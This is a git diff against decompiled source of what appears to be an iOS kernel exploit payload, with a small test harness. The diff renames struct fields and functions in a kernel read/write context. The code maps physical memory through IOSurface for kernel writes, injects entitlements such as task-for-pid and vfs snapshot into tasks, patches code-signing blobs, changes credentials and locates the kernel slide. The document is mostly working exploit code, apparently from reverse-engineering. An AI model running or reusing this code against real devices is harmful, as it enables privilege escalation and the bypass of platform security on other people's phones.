diff --git a/src/payload_377bed/defs.h b/src/payload_377bed/defs.h index 014e357..aba0e46 100644 --- a/src/payload_377bed/defs.h +++ b/src/payload_377bed/defs.h @@ -95,7 +95,7 @@ struct __attribute__((packed)) struct_krwCtx /* 00000040 */ uint64_t iogpuKwriteFn; /* 00000048 */ uint64_t iogpuKwrite2Fn; /* 00000050 */ uint64_t iogpuCtx; - /* 00000058 */ uint32_t gap_0x58; + /* 00000058 */ uint32_t ioSurfaceMemEntryMaybe; /* 0000005C */ uint32_t gap_0x5C_size4; /* 00000060 */ uint8_t gap_0x60_to_0x80[0x20]; /* 00000080 */ uint64_t gap_0x80; @@ -231,7 +231,7 @@ struct __attribute__((packed)) struct_krwCtx /* 000005E0 */ uint32_t pgtableRootSpan; /* 000005E4 */ uint8_t gap_0x5E4_to_0x5E8[0x4]; /* 000005E8 */ PgtableWalkCacheEntry pgtableWalkCache[16]; - /* 00000868 */ uint64_t gap_0x868; + /* 00000868 */ uint64_t lruCacheLastUpdatedTime; /* 00000870 */ uint64_t gap_0x870; /* 00000878 */ uint64_t gap_0x878; /* 00000880 */ uint8_t gap_0x880_to_0x1888[0x1008]; diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m index 3cc57d1..56703e0 100644 --- a/src/payload_377bed/entry1_type0x09.m +++ b/src/payload_377bed/entry1_type0x09.m @@ -227,7 +227,7 @@ __int64 __fastcall get_kernel_load_addr_bsm(__int64 a1, const char *a2, unsigned __int64 __fastcall remount_hfs(__int64 a1, const char *a2, int a3); bool check_root_is_apfs(); __int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 task, char *entitlementXml); -__int64 __fastcall get_mach_thread_info(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5); +__int64 __fastcall krw_inject_entitlements_to_task(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5); __int64 __fastcall find_connect_ioavservice(__int64 a1); __int64 __fastcall get_kernel_task_iokit(__int64 a1); __int64 test_appsepmanager_presence(); @@ -866,7 +866,7 @@ char *_CFProcessPath(void); #define DRIVER_CMD_PATCH_PARENT_CSFLAGS 1 #define DRIVER_CMD_GET_SELF_TASK_PORT_OFFSET 2 -#define DRIVER_CMD_INJECT_TFP0_ENTITLEMENT 3 +#define DRIVER_CMD_INJECT_TFP_ENTITLEMENT 3 #define DRIVER_CMD_PATCH_CSBLOB 6 #define DRIVER_CMD_SET_THREAD_KOBJ_DISPATCH 7 #define DRIVER_CMD_GET_OR_SET_SELF_UID_CRED 8 @@ -9970,7 +9970,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *krwCtx, __int64 a2, unsign v10 = v9; address = 0; v11 = vm_page_size; - v12 = *(uint32_t *)&krwCtx->gap_0x58; + v12 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe; if ( v12 + 1 > 1 ) { v14 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v12, v9 & ~krwCtx->pageMask, 0, 3, 3, 2u); @@ -9981,7 +9981,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *krwCtx, __int64 a2, unsign { return 0xFFFFFFFFLL; } - v15 = *(uint32_t *)&krwCtx->gap_0x58; + v15 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe; if ( (unsigned int)(v15 + 1) >= 2 ) v16 = address; else @@ -9992,7 +9992,7 @@ __int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *krwCtx, __int64 a2, unsign v5 = 0; atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu); *(uint16_t *)(v17 + 2) = 0x4000; - v15 = *(uint32_t *)&krwCtx->gap_0x58; + v15 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe; } else { @@ -12386,7 +12386,7 @@ __int64 __fastcall check_mount_thread_info(struct_krwCtx *krwCtx, int a2) strcpy(__s1, "/private/var/MobileSoftwareUpdate/mnt1"); strcpy(v18, "/"); krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_SNAPSHOT_MOUNTED); - if ( !(unsigned int)get_mach_thread_info( + if ( !(unsigned int)krw_inject_entitlements_to_task( krwCtx, mach_task_self_, "com.apple.private.vfs.snapshot", @@ -13027,7 +13027,7 @@ LABEL_16: // 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t); //----- (00000000000154D0) ---------------------------------------------------- -__int64 __fastcall get_mach_thread_info(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5) +__int64 __fastcall krw_inject_entitlements_to_task(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5) { __int64 result; // x0 __int64 v10; // x23 @@ -19163,11 +19163,11 @@ bool __fastcall krw_setup_iosurface(struct_krwCtx *krwCtx) return true; if ( (unsigned int)(krwCtx->threadForKernelRead + 1) < 2 || !krwCtx->gap_0xD8 - || (unsigned int)(krwCtx->gap_0x58 + 1) < 2 ) + || (unsigned int)(krwCtx->ioSurfaceMemEntryMaybe + 1) < 2 ) { return false; } - v17[0] = krwCtx->gap_0x58; + v17[0] = krwCtx->ioSurfaceMemEntryMaybe; v4 = setup_physmap_krw(krwCtx, 0); if ( v4 ) return false; @@ -19299,7 +19299,7 @@ bool __fastcall krw_setup_iosurface_v2(struct_krwCtx *krwCtx, uint32_t *a2) if ( (unsigned __int64)(v21 - 1) <= 0x1F ) { krwCtx->gap_0x18A0 = v21; - krwCtx->gap_0x58 = object[0]; + krwCtx->ioSurfaceMemEntryMaybe = object[0]; v22 = *(uint64_t *)(v20 + 48); if ( v22 ) { @@ -22135,11 +22135,11 @@ uint64_t __fastcall update_timer_lru_cache(struct_krwCtx *krwCtx) __int64 i; // x8 __int64 v5; // x10 - v2 = krwCtx->gap_0x868; + v2 = krwCtx->lruCacheLastUpdatedTime; result = mach_absolute_time(); if ( v2 ) { - if ( (result - krwCtx->gap_0x868) * krwCtx->timebase.numer / krwCtx->timebase.denom < 0x12A153440LL ) + if ( (result - krwCtx->lruCacheLastUpdatedTime) * krwCtx->timebase.numer / krwCtx->timebase.denom < 0x12A153440LL ) return result; for ( i = 0; i != 640; i += 40 ) { @@ -22150,7 +22150,7 @@ uint64_t __fastcall update_timer_lru_cache(struct_krwCtx *krwCtx) } result = mach_absolute_time(); } - krwCtx->gap_0x868 = result; + krwCtx->lruCacheLastUpdatedTime = result; return result; } @@ -27187,7 +27187,7 @@ __int64 __fastcall physmap_maybe(struct_krwCtx *krwCtx, vm_address_t *address, v { kern_return_t v4; // w0 - v4 = vm_map(mach_task_self_, address, size, 0, 1, krwCtx->gap_0x58, paddr & ~krwCtx->pageMask, 0, 3, 3, 2u); + v4 = vm_map(mach_task_self_, address, size, 0, 1, krwCtx->ioSurfaceMemEntryMaybe, paddr & ~krwCtx->pageMask, 0, 3, 3, 2u); if ( v4 ) return v4 | 0x80000000; else @@ -27892,7 +27892,7 @@ __int64 __fastcall map_physpage_with_mem_entry(struct_krwCtx *krwCtx, vm_address mem_entry_name_port_t v4; // w5 kern_return_t v6; // w0 - v4 = krwCtx->gap_0x58; + v4 = krwCtx->ioSurfaceMemEntryMaybe; if ( v4 + 1 < 2 ) return 708609; v6 = vm_map(mach_task_self_, a2, a3, 0, 1, v4, a4 & ~krwCtx->pageMask, 0, 3, 3, 2u); @@ -45816,7 +45816,7 @@ __int64 __fastcall driver_dispatch_command3(struct_krwCtx *krwCtx, int cmd, __in case DRIVER_CMD_GET_SELF_TASK_PORT_OFFSET: v30 = mach_task_self_; goto LABEL_124; - case DRIVER_CMD_INJECT_TFP0_ENTITLEMENT: + case DRIVER_CMD_INJECT_TFP_ENTITLEMENT: v8[0] = krw_inject_entitlements_maybe( krwCtx, mach_task_self_, diff --git a/src/payload_377bed/test.m b/src/payload_377bed/test.m index 9100fc6..c304c19 100644 --- a/src/payload_377bed/test.m +++ b/src/payload_377bed/test.m @@ -1,6 +1,7 @@ @import Darwin; @import MachO; @import Foundation; +#import "defs.h" #define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */ #define CS_HARD 0x00000100 /* don't load invalid pages */ @@ -14,51 +15,7 @@ #define DRIVER_CMD_TASK_GET_ROOT 26 #define DRIVER_CMD_TASK_FOR_PID 0xc000001d -//typedef struct { -// uint8_t __unk[7520]; -//} krw_ctx_t; - -typedef struct struct_krwCtx // sizeof=0x1D50 -{ - uint32_t flags; - uint8_t gap_0x4[168]; - uint32_t threadForKernelRead; - uint8_t gap_0xB0[144]; - int xnuMajorVersion; - uint8_t gap_0x144[20]; - uint64_t someLargeNumber; - uint8_t gap_0x160[8]; - int stride_0x168; - int gap_0x16C[7]; - uint64_t pageMask; - uint8_t gap_0x190[136]; - uint64_t gap_0x218; - uint8_t gap_0x220[56]; - int isRW; - struct mach_timebase_info timebase; - mach_port_t semaphore; - pthread_mutex_t someMutex; - uint32_t someInt1; - uint32_t someInt2; - uint64_t gap_0x2B0[16]; - pthread_mutex_t someMutex2; - uint64_t gap_0x370[695]; - uint32_t gap_0x1928; - uint32_t gap_0x192C; - uint32_t krw_pipe_0[2]; - uint32_t gap_0x1938; - uint32_t gap_0x193C; - uint32_t gap_0x1940; - uint32_t gap_0x1944; - uint64_t gap_0x1948[16]; - uint64_t machHeaderPlus0x8000; - uint64_t gap_0x19D0; - uint64_t gap_0x19D8; - uint64_t slideMaybe; - uint64_t gap_0x19E8[108]; - uint64_t IOKitConnInfo; -} krw_ctx_t; - +typedef struct_krwCtx krw_ctx_t; typedef struct module_vtable module_vtable_t; typedef int (*driver_init_t)(module_vtable_t *vtable, uint64_t arg1, krw_ctx_t **ctx_out); typedef int (*driver_free_t)(module_vtable_t *vtable); @@ -205,13 +162,13 @@ int main(int argc, char *argv[], char *envp[]) { printf("Driver initialized, ctx: %p\n", global_ctx); - printf("slideMaybe=0x%llx\n", global_ctx->slideMaybe); + //printf("slideMaybe=0x%llx\n", global_ctx->slideMaybe); kernelbase = global_ctx->machHeaderPlus0x8000 - 0x8000; slide = kernelbase - 0xfffffff007004000; - NSLog(@"kernel base: 0x%llx\n", kernelbase); - NSLog(@"kernel slide: 0x%llx\n", slide); + printf("kernel base: 0x%llx\n", kernelbase); + printf("kernel slide: 0x%llx\n", slide); uint64_t val = kread64(kernelbase); printf("Kernel header: 0x%llx\n", val);